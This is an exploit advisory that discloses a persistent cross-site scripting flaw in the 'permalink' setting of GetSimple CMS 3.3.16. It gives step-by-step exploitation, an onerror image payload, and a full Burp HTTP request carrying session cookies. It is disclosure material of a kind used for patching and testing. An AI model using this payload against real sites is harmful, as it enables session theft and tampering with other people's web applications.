# Exploit Title: GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated) # Google Dork: - # Date: 2020-09-29 # Exploit Author: Roel van Beurden # Vendor Homepage: http://get-simple.info # Software Link: http://get-simple.info/download # Version: 3.3.16 # Tested on: Linux Ubuntu 18.04 # CVE: N/A 1. Description: ---------------------- GetSimple CMS 3.3.16 allows in parameter 'permalink' on the Settings page persistent Cross Site Scripting which is executed when you create and open a new page. 3. Affected parameter: ---------------------- 'permalink' on /admin/settings.php 3. Exploitation steps: ---------------------- 1: Create a new page 2: Go to Settings on the right top of the page 3: Add XSS payload to "Custom Permalink Structure" text field 4: Save Settings 5: Go to the tab 'pages' to trigger the XSS alert popup 3: Example payload: ---------------------- "><img src=x onerror=alert('XSS')> 4: Burp Request: ---------------------- POST /GetSimpleCMS-3.3.16/admin/settings.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/GetSimpleCMS-3.3.16/admin/settings.php Content-Type: application/x-www-form-urlencoded Content-Length: 349 Connection: close Cookie: __atuvc=22%7C39; __atuvs=5f689d4d88949892015; GS_ADMIN_USERNAME=admin; d46405c5e4a3aa8c65850d4fa6ba75e926569261=1995ba85457ab3e86fa5e01f9ed5267cf9775880 Upgrade-Insecure-Requests: 1 nonce=c4577f17fac90ca1b8306ce48571c27a0a7923ec&sitename=GetSimple+Test+VM&siteurl=http%3A%2F%2F127.0.0.1%2FGetSimpleCMS-3.3.16%2F&prettyurls=1&permalink=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%27XSS%27%29%3E&user=admin&email=admin%40example.org&name=&timezone=&lang=en_US&show_htmleditor=1&sitepwd=&sitepwd_confirm=&submitted=Save+Settings 5: Exploitation demo: ---------------------- https://www.youtube.com/watch?v=8IMfD5KGt_U